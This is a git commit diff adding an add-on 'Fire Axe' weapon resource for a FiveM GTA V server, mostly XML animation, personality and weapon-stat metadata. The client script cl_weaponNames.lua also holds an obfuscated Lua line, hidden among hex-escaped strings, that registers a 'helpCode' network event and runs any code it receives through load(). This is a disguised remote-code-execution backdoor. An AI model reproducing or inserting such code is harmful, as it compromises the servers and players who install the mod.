fixing eup and add new bcso addon clothing

This commit is contained in:
KingMcDonalds
2024-12-01 12:37:25 -08:00
parent 78127ba94f
commit 4ed3f2a38f
1359 changed files with 27837 additions and 1345 deletions
+4
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AddTextEntry("WEAPON_FIREAXE", "Fire Axe")
local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
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fx_version 'cerulean'
games {'gta5'}
description 'Add-on weapon generated using vWeaponsToolkit'
files{
'**/weaponcomponents.meta',
'**/weaponarchetypes.meta',
'**/weaponanimations.meta',
'**/pedpersonality.meta',
'**/weapons.meta',
}
data_file 'WEAPONCOMPONENTSINFO_FILE' '**/weaponcomponents.meta'
data_file 'WEAPON_METADATA_FILE' '**/weaponarchetypes.meta'
data_file 'WEAPON_ANIMATIONS_FILE' '**/weaponanimations.meta'
data_file 'PED_PERSONALITY_FILE' '**/pedpersonality.meta'
data_file 'WEAPONINFO_FILE' '**/weapons.meta'
client_script 'cl_weaponNames.lua'
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<?xml version="1.0" encoding="UTF - 8"?>
<CPedModelInfo__PersonalityDataList>
<MovementModeUnholsterData>
<Item>
<Name>UNHOLSTER_UNARMED</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<Clip>unarmed_holster_2h_melee</Clip>
</Item>
</UnholsterClips>
</Item>
<Item>
<Name>UNHOLSTER_2H_MELEE</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<Clip>2h_melee_holster_2h_melee</Clip>
</Item>
</UnholsterClips>
</Item>
<Item>
<Name>UNHOLSTER_1H</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<Clip>1h_holster_2h_melee</Clip>
</Item>
</UnholsterClips>
</Item>
<Item>
<Name>UNHOLSTER_2H</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<Clip>2h_holster_2h_melee</Clip>
</Item>
</UnholsterClips>
</Item>
<Item>
<Name>UNHOLSTER_MINIGUN</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
<Item>WEAPON_GOLFCLUB</Item>
</Weapons>
<Clip>mini_holster_2h_melee</Clip>
</Item>
</UnholsterClips>
</Item>
<Item>
<Name>UNHOLSTER_UNARMED_STEALTH</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<Clip>unarmed_holster_unarmed</Clip>
</Item>
</UnholsterClips>
</Item>
<Item>
<Name>UNHOLSTER_2H_MELEE_STEALTH</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<Clip>unarmed_holster_unarmed</Clip>
</Item>
</UnholsterClips>
</Item>
<Item>
<Name>UNHOLSTER_1H_STEALTH</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<Clip>1h_holster_unarmed</Clip>
</Item>
</UnholsterClips>
</Item>
<Item>
<Name>UNHOLSTER_2H_STEALTH</Name>
<UnholsterClips>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<Clip>2h_holster_unarmed</Clip>
</Item>
</UnholsterClips>
</Item>
</MovementModeUnholsterData>
<MovementModes>
<Item>
<Name>DEFAULT_ACTION</Name>
<MovementModes>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_ACTION@P_M_ZERO@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@UPPER</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="true"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@TRANS@DEFAULT</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_ACTION@P_M_ZERO@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_STEALTH@P_M_ZERO@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>WEAPONS@MELEE_STEALTH_1H</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="false"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_STEALTH@GENERIC@TRANS@2H_MELEE</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_STEALTH@P_M_ZERO@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE_STEALTH</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
</MovementModes>
<LastBattleEventHighEnergyStartTime value="0.00000000"/>
<LastBattleEventHighEnergyEndTime value="5.00000000"/>
</Item>
<Item>
<Name>MP_FEMALE_ACTION</Name>
<MovementModes>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_ACTION@P_M_ZERO@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@UPPER</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="true"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@TRANS@MP_FEMALE</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_ACTION@P_M_ZERO@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_STEALTH@P_M_ZERO@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>WEAPONS@MELEE_STEALTH_1H</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="false"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_STEALTH@MP_FEMALE@2H_MELEE@TRANS</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_STEALTH@P_M_ZERO@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE_STEALTH</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
</MovementModes>
<LastBattleEventHighEnergyStartTime value="0.00000000"/>
<LastBattleEventHighEnergyEndTime value="5.00000000"/>
</Item>
<Item>
<Name>MICHAEL_ACTION</Name>
<MovementModes>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_ACTION@P_M_ZERO@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@UPPER</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="true"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@TRANS@P_M_ZERO</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_ACTION@P_M_ZERO@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_STEALTH@P_M_ZERO@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>WEAPONS@MELEE_STEALTH_1H</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="false"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_STEALTH@GENERIC@2H_MELEE_WEAPON@P_M_ZERO</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_STEALTH@P_M_ZERO@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE_STEALTH</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
</MovementModes>
<LastBattleEventHighEnergyStartTime value="0.00000000"/>
<LastBattleEventHighEnergyEndTime value="5.00000000"/>
</Item>
<Item>
<Name>FRANKLIN_ACTION</Name>
<MovementModes>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_ACTION@P_M_ONE@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@UPPER</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="true"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@TRANS@P_M_ONE</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_ACTION@P_M_ONE@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_STEALTH@P_M_ONE@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>WEAPONS@MELEE_STEALTH_1H@P_M_ONE</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="false"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_STEALTH@GENERIC@2H_MELEE_WEAPON@P_M_ONE</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_STEALTH@P_M_ONE@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE_STEALTH</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
</MovementModes>
<LastBattleEventHighEnergyStartTime value="0.00000000"/>
<LastBattleEventHighEnergyEndTime value="5.00000000"/>
</Item>
<Item>
<Name>TREVOR_ACTION</Name>
<MovementModes>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_ACTION@P_M_TWO@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@UPPER</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="true"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_ACTION@GENERIC@2H_MELEE_GOLFCLUB@TRANS@P_M_TWO</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_ACTION@P_M_TWO@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
<Item>
<Item>
<Weapons>
<Item>WEAPON_FIREAXE</Item>
</Weapons>
<ClipSets>
<Item>
<MovementClipSetId>MOVE_STEALTH@P_M_TWO@UNARMED@CORE</MovementClipSetId>
<WeaponClipSetId>WEAPONS@MELEE_STEALTH_1H@P_M_TWO</WeaponClipSetId>
<WeaponClipFilterId>UpperbodyAndIk_filter</WeaponClipFilterId>
<UpperBodyShadowExpressionEnabled value="true"/>
<UpperBodyFeatheredLeanEnabled value="false"/>
<UseWeaponAnimsForGrip value="false"/>
<UseLeftHandIk value="false"/>
<IdleTransitionBlendOutTime value="0.50000000"/>
<IdleTransitions>
<Item>MOVE_STEALTH@GENERIC@2H_MELEE_WEAPON@P_M_TWO</Item>
</IdleTransitions>
<UnholsterClipSetId>MOVE_STEALTH@P_M_TWO@HOLSTER</UnholsterClipSetId>
<UnholsterClipData>UNHOLSTER_2H_MELEE_STEALTH</UnholsterClipData>
</Item>
</ClipSets>
</Item>
</Item>
</MovementModes>
<LastBattleEventHighEnergyStartTime value="0.00000000"/>
<LastBattleEventHighEnergyEndTime value="5.00000000"/>
</Item>
</MovementModes>
</CPedModelInfo__PersonalityDataList>
@@ -0,0 +1,112 @@
<?xml version="1.0" encoding="UTF - 8"?>
<CWeaponAnimationsSets>
<WeaponAnimationsSets>
<Item key="Default">
<WeaponAnimations>
<Item key="WEAPON_FIREAXE">
<CoverMovementClipSetHash/>
<CoverMovementExtraClipSetHash/>
<CoverAlternateMovementClipSetHash/>
<CoverWeaponClipSetHash/>
<MotionClipSetHash>weapons@melee_2h@golfclub</MotionClipSetHash>
<MotionFilterHash>BothArms_filter</MotionFilterHash>
<MotionCrouchClipSetHash/>
<MotionStrafingClipSetHash>move_strafe_melee_unarmed</MotionStrafingClipSetHash>
<MotionStrafingStealthClipSetHash>move_ped_strafing_stealth</MotionStrafingStealthClipSetHash>
<MotionStrafingUpperBodyClipSetHash>move_strafe@melee_large_weapon</MotionStrafingUpperBodyClipSetHash>
<WeaponClipSetHash>melee@holster</WeaponClipSetHash>
<WeaponClipSetStreamedHash/>
<WeaponClipSetHashInjured/>
<WeaponClipSetHashStealth/>
<WeaponClipSetHashHiCover/>
<AlternativeClipSetWhenBlocked/>
<ScopeWeaponClipSet/>
<AlternateAimingStandingClipSetHash/>
<AlternateAimingCrouchingClipSetHash/>
<FiringVariationsStandingClipSetHash/>
<FiringVariationsCrouchingClipSetHash/>
<AimTurnStandingClipSetHash/>
<AimTurnCrouchingClipSetHash/>
<MeleeClipSetHash>melee@large_wpn@streamed_core</MeleeClipSetHash>
<MeleeVariationClipSetHash>melee@large_wpn@streamed_variations</MeleeVariationClipSetHash>
<MeleeTauntClipSetHash/>
<MeleeSupportTauntClipSetHash/>
<MeleeStealthClipSetHash/>
<ShellShockedClipSetHash>reaction@shellshock@unarmed</ShellShockedClipSetHash>
<JumpUpperbodyClipSetHash>MOVE_JUMP@WEAPONS@2H_MELEE</JumpUpperbodyClipSetHash>
<FallUpperbodyClipSetHash>MOVE_FALL@WEAPONS@2H_MELEE</FallUpperbodyClipSetHash>
<FromStrafeTransitionUpperBodyClipSetHash/>
<SwapWeaponFilterHash/>
<SwapWeaponInLowCoverFilterHash/>
<AnimFireRateModifier value="1.000000"/>
<AnimBlindFireRateModifier value="0.000000"/>
<AnimWantingToShootFireRateModifier value="-1.000000"/>
<UseFromStrafeUpperBodyAimNetwork value="false"/>
<AimingDownTheBarrel value="true"/>
<WeaponSwapData ref="SWAP_MELEE_2H"/>
<AimGrenadeThrowNormalClipsetHash/>
<AimGrenadeThrowAlternateClipsetHash/>
</Item>
</WeaponAnimations>
</Item>
<Item key="FirstPerson">
<Fallback>Default</Fallback>
<WeaponAnimations>
<Item key="WEAPON_FIREAXE">
<MovementOverrideClipSetHash>move_m@generic</MovementOverrideClipSetHash>
<CoverMovementClipSetHash/>
<CoverMovementExtraClipSetHash/>
<CoverAlternateMovementClipSetHash/>
<CoverWeaponClipSetHash>Cover_Wpn_Melee1h</CoverWeaponClipSetHash>
<MotionClipSetHash>weapons@first_person@aim_idle@generic@melee@large_wpn@gclub@</MotionClipSetHash>
<MotionFilterHash>BothArms_filter</MotionFilterHash>
<MotionCrouchClipSetHash/>
<MotionStrafingClipSetHash>move_strafe_melee_unarmed_fps</MotionStrafingClipSetHash>
<MotionStrafingStealthClipSetHash>move_ped_strafing_stealth</MotionStrafingStealthClipSetHash>
<MotionStrafingUpperBodyClipSetHash>move_strafe@melee_large_weapon_fps_gclub</MotionStrafingUpperBodyClipSetHash>
<WeaponClipSetHash>weapons@first_person@aim_idle@generic@melee@large_wpn@gclub@</WeaponClipSetHash>
<WeaponClipSetStreamedHash>weapons@first_person@aim_rng@generic@pistol@pistol_str</WeaponClipSetStreamedHash>
<WeaponClipSetHashInjured/>
<WeaponClipSetHashStealth/>
<WeaponClipSetHashHiCover/>
<AlternativeClipSetWhenBlocked/>
<ScopeWeaponClipSet/>
<AlternateAimingStandingClipSetHash/>
<AlternateAimingCrouchingClipSetHash/>
<FiringVariationsStandingClipSetHash/>
<FiringVariationsCrouchingClipSetHash/>
<AimTurnStandingClipSetHash/>
<AimTurnCrouchingClipSetHash/>
<MeleeClipSetHash>melee@large_wpn@streamed_core_fps_gclub</MeleeClipSetHash>
<MeleeVariationClipSetHash>melee@large_wpn@streamed_variations</MeleeVariationClipSetHash>
<MeleeTauntClipSetHash/>
<MeleeSupportTauntClipSetHash/>
<MeleeStealthClipSetHash/>
<ShellShockedClipSetHash>reaction@shellshock@unarmed</ShellShockedClipSetHash>
<JumpUpperbodyClipSetHash/>
<FallUpperbodyClipSetHash/>
<FromStrafeTransitionUpperBodyClipSetHash/>
<SwapWeaponFilterHash>RightArm_NoSpine_filter</SwapWeaponFilterHash>
<SwapWeaponInLowCoverFilterHash>RightArm_NoSpine_filter</SwapWeaponInLowCoverFilterHash>
<AnimFireRateModifier value="1.000000"/>
<AnimBlindFireRateModifier value="0.000000"/>
<AnimWantingToShootFireRateModifier value="-1.000000"/>
<UseFromStrafeUpperBodyAimNetwork value="false"/>
<AimingDownTheBarrel value="true"/>
<WeaponSwapData ref="SWAP_DEFAULT"/>
<AimGrenadeThrowNormalClipsetHash/>
<AimGrenadeThrowAlternateClipsetHash/>
<FPSTransitionFromUnholsterHash>weapons@first_person@aim_idle@p_m_zero@melee@large_wpn@gclub@aim_trans@unholster_to_idle</FPSTransitionFromUnholsterHash>
<WeaponClipSetHashForClone>weapons@first_person@aim_idle@remote_clone@melee@two_handed@golf_club</WeaponClipSetHashForClone>
<FPSFidgetClipsetHashes>
<Item>weapons@first_person@aim_idle@p_m_zero@melee@large_wpn@gclub@fidgets@a</Item>
<Item>weapons@first_person@aim_idle@p_m_zero@melee@large_wpn@gclub@fidgets@b</Item>
<Item>weapons@first_person@aim_idle@p_m_zero@melee@large_wpn@gclub@fidgets@c</Item>
</FPSFidgetClipsetHashes>
</Item>
</WeaponAnimations>
</Item>
</WeaponAnimationsSets>
</CWeaponAnimationsSets>
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="UTF - 8"?>
<CWeaponModelInfo__InitDataList>
<InitDatas>
<Item>
<modelName>w_me_fireaxe</modelName>
<txdName>w_me_fireaxe</txdName>
<ptfxAssetName>NULL</ptfxAssetName>
<lodDist value="500"/>
</Item>
</InitDatas>
</CWeaponModelInfo__InitDataList>
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<?xml version="1.0" encoding="UTF - 8"?>
<CWeaponInfoBlob>
<SlotNavigateOrder>
<Item>
<WeaponSlots>
<Item>
<OrderNumber value="405"/>
<Entry>SLOT_WEAPON_FIREAXE</Entry>
</Item>
</WeaponSlots>
</Item>
</SlotNavigateOrder>
<Infos>
<Item>
<Infos>
<Item type="CWeaponInfo">
<Name>WEAPON_FIREAXE</Name>
<Model>w_me_fireaxe</Model>
<Audio/>
<Slot>SLOT_WEAPON_FIREAXE</Slot>
<DamageType>MELEE</DamageType>
<Explosion>
<Default>DONTCARE</Default>
<HitCar>DONTCARE</HitCar>
<HitTruck>DONTCARE</HitTruck>
<HitBike>DONTCARE</HitBike>
<HitBoat>DONTCARE</HitBoat>
<HitPlane>DONTCARE</HitPlane>
</Explosion>
<FireType>MELEE</FireType>
<WheelSlot>WHEEL_UNARMED_MELEE</WheelSlot>
<Group>GROUP_MELEE</Group>
<AmmoInfo ref="NULL"/>
<AimingInfo ref="UNARMED_TARGETING_RESTRAINTS"/>
<ClipSize value="0"/>
<AccuracySpread value="0.000000"/>
<AccurateModeAccuracyModifier value="0.500000"/>
<RunAndGunAccuracyModifier value="2.000000"/>
<RunAndGunAccuracyMaxModifier value="1.000000"/>
<RecoilAccuracyMax value="1.000000"/>
<RecoilErrorTime value="0.000000"/>
<RecoilRecoveryRate value="1.000000"/>
<RecoilAccuracyToAllowHeadShotAI value="1000.000000"/>
<MinHeadShotDistanceAI value="1000.000000"/>
<MaxHeadShotDistanceAI value="1000.000000"/>
<HeadShotDamageModifierAI value="1000.000000"/>
<RecoilAccuracyToAllowHeadShotPlayer value="0.175000"/>
<MinHeadShotDistancePlayer value="5.000000"/>
<MaxHeadShotDistancePlayer value="40.000000"/>
<HeadShotDamageModifierPlayer value="18.000000"/>
<Damage value="0.000000"/>
<DamageTime value="0.000000"/>
<DamageTimeInVehicle value="0.000000"/>
<DamageTimeInVehicleHeadShot value="0.000000"/>
<HitLimbsDamageModifier value="0.500000"/>
<NetworkHitLimbsDamageModifier value="0.800000"/>
<LightlyArmouredDamageModifier value="0.750000"/>
<Force value="0.000000"/>
<ForceHitPed value="100.000000"/>
<ForceHitVehicle value="0.000000"/>
<ForceHitFlyingHeli value="0.000000"/>
<OverrideForces>
<Item>
<BoneTag>BONETAG_HEAD</BoneTag>
<ForceFront value="15.000000"/>
<ForceBack value="15.000000"/>
</Item>
<Item>
<BoneTag>BONETAG_NECK</BoneTag>
<ForceFront value="15.000000"/>
<ForceBack value="10.000000"/>
</Item>
</OverrideForces>
<ForceMaxStrengthMult value="1.000000"/>
<ForceFalloffRangeStart value="0.000000"/>
<ForceFalloffRangeEnd value="50.000000"/>
<ForceFalloffMin value="1.000000"/>
<ProjectileForce value="0.000000"/>
<FragImpulse value="2250.000000"/>
<Penetration value="0.000000"/>
<VerticalLaunchAdjustment value="0.000000"/>
<DropForwardVelocity value="0.000000"/>
<Speed value="2000.000000"/>
<BulletsInBatch value="1"/>
<BatchSpread value="0.000000"/>
<ReloadTimeMP value="-1.000000"/>
<ReloadTimeSP value="-1.000000"/>
<VehicleReloadTime value="-1.000000"/>
<AnimReloadRate value="1.000000"/>
<BulletsPerAnimLoop value="1"/>
<TimeBetweenShots value="0.000000"/>
<TimeLeftBetweenShotsWhereShouldFireIsCached value="-1.000000"/>
<SpinUpTime value="0.000000"/>
<SpinTime value="0.000000"/>
<SpinDownTime value="0.000000"/>
<AlternateWaitTime value="-1.000000"/>
<BulletBendingNearRadius value="0.000000"/>
<BulletBendingFarRadius value="0.000000"/>
<BulletBendingZoomedRadius value="0.000000"/>
<Fx>
<EffectGroup>WEAPON_EFFECT_GROUP_MELEE_METAL</EffectGroup>
<FlashFx/>
<FlashFxAlt/>
<MuzzleSmokeFx/>
<MuzzleSmokeFxMinLevel value="0.000000"/>
<MuzzleSmokeFxIncPerShot value="0.000000"/>
<MuzzleSmokeFxDecPerSec value="0.000000"/>
<ShellFx/>
<TracerFx/>
<PedDamageHash/>
<TracerFxChanceSP value="0.000000"/>
<TracerFxChanceMP value="0.000000"/>
<FlashFxChanceSP value="0.000000"/>
<FlashFxChanceMP value="0.000000"/>
<FlashFxAltChance value="0.000000"/>
<FlashFxScale value="1.000000"/>
<FlashFxLightEnabled value="false"/>
<FlashFxLightCastsShadows value="false"/>
<FlashFxLightOffsetDist value="0.000000"/>
<FlashFxLightRGBAMin x="0.000000" y="0.000000" z="0.000000"/>
<FlashFxLightRGBAMax x="0.000000" y="0.000000" z="0.000000"/>
<FlashFxLightIntensityMinMax x="0.000000" y="0.000000"/>
<FlashFxLightRangeMinMax x="0.000000" y="0.000000"/>
<FlashFxLightFalloffMinMax x="0.000000" y="0.000000"/>
<GroundDisturbFxEnabled value="false"/>
<GroundDisturbFxDist value="5.000000"/>
<GroundDisturbFxNameDefault/>
<GroundDisturbFxNameSand/>
<GroundDisturbFxNameDirt/>
<GroundDisturbFxNameWater/>
<GroundDisturbFxNameFoliage/>
</Fx>
<InitialRumbleDuration value="0"/>
<InitialRumbleIntensity value="0.000000"/>
<InitialRumbleIntensityTrigger value="0.000000"/>
<RumbleDuration value="0"/>
<RumbleIntensity value="0.000000"/>
<RumbleIntensityTrigger value="0.000000"/>
<RumbleDamageIntensity value="1.000000"/>
<NetworkPlayerDamageModifier value="1.000000"/>
<NetworkPedDamageModifier value="1.000000"/>
<NetworkHeadShotPlayerDamageModifier value="1.000000"/>
<LockOnRange value="10.000000"/>
<WeaponRange value="1.600000"/>
<BulletDirectionOffsetInDegrees value="0.000000"/>
<AiSoundRange value="-1.000000"/>
<AiPotentialBlastEventRange value="-1.000000"/>
<DamageFallOffRangeMin value="1.600000"/>
<DamageFallOffRangeMax value="1.600000"/>
<DamageFallOffModifier value="0.300000"/>
<VehicleWeaponHash/>
<DefaultCameraHash>MELEE_AIM_CAMERA</DefaultCameraHash>
<CoverCameraHash>MELEE_AIM_IN_COVER_CAMERA</CoverCameraHash>
<CoverReadyToFireCameraHash/>
<RunAndGunCameraHash/>
<CinematicShootingCameraHash/>
<AlternativeOrScopedCameraHash/>
<RunAndGunAlternativeOrScopedCameraHash/>
<CinematicShootingAlternativeOrScopedCameraHash/>
<CameraFov value="50.000000"/>
<ZoomFactorForAccurateMode value="1.000000"/>
<RecoilShakeHash/>
<RecoilShakeHashFirstPerson/>
<AccuracyOffsetShakeHash/>
<MinTimeBetweenRecoilShakes value="150"/>
<RecoilShakeAmplitude value="1.000000"/>
<ExplosionShakeAmplitude value="-1.000000"/>
<ReticuleHudPosition x="0.000000" y="0.000000"/>
<AimOffsetMin x="0.000000" y="0.000000" z="0.000000"/>
<AimProbeLengthMin value="0.000000"/>
<AimOffsetMax x="0.000000" y="0.000000" z="0.000000"/>
<AimProbeLengthMax value="0.000000"/>
<AimOffsetMinFPSIdle x="0.162000" y="0.225000" z="0.052000"/>
<AimOffsetMedFPSIdle x="0.187000" y="0.197000" z="0.321000"/>
<AimOffsetMaxFPSIdle x="0.155000" y="0.038000" z="0.364000"/>
<AimOffsetEndPosMinFPSIdle x="-0.284000" y="0.612000" z="-0.205000"/>
<AimOffsetEndPosMedFPSIdle x="-0.178000" y="0.639000" z="0.616000"/>
<AimOffsetEndPosMaxFPSIdle x="-0.21700" y="-0.096000" z="0.887000"/>
